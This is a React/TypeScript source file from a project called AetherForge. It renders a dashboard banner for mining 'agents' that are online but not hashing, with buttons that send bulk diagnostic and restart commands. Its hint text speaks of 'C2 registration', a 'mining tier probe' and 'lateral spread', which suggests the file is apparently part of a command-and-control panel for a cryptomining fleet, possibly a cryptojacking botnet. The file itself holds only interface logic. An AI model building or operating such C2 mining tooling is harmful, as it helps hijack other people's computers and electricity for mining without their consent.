AetherForge/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx

import { Link } from 'react-router-dom';
import type { Agent } from '../../types';
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
import { api } from '../../api/client';

interface Props {
  agents: Agent[];
  selectedIds?: Set<string>;
  onAction?: (message: string) => void;
}

/** Banner when agents are online but not hashing — with actionable fix buttons. */
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
  const stuck = agentsConnectedNotHashing(agents);
  if (stuck.length === 0) return null;

  const targetIds =
    selectedIds && selectedIds.size > 0
      ? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
      : stuck.map((a) => a.id);

  const runBulk = async (action: string, label: string) => {
    if (targetIds.length === 0) {
      onAction?.(`No selected online agents without hashrate.`);
      return;
    }
    try {
      const r = await api.sendBulkCommand(targetIds, action);
      onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
    } catch (e) {
      onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
    }
  };

  const sample = stuck[0];
  const status = simpleDeployStatus(sample);

  return (
    <div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
      <div>
        <strong>
          {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
        </strong>
        <p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
          {status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.
          Check Calibrate wallet/pool, then run diagnostics or restart mining.
        </p>
      </div>
      <div className="connected-not-mining-actions">
        <button
          type="button"
          className="btn btn-sm btn-primary"
          onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
        >
          Run diagnostics
        </button>
        <button
          type="button"
          className="btn btn-sm btn-outline"
          onClick={() => void runBulk('restart', 'Restart mining')}
        >
          Restart mining
        </button>
        <Link to="/forge" className="btn btn-sm btn-outline">
          Re-forge (Deploy &amp; Mine)
        </Link>
      </div>
    </div>
  );
}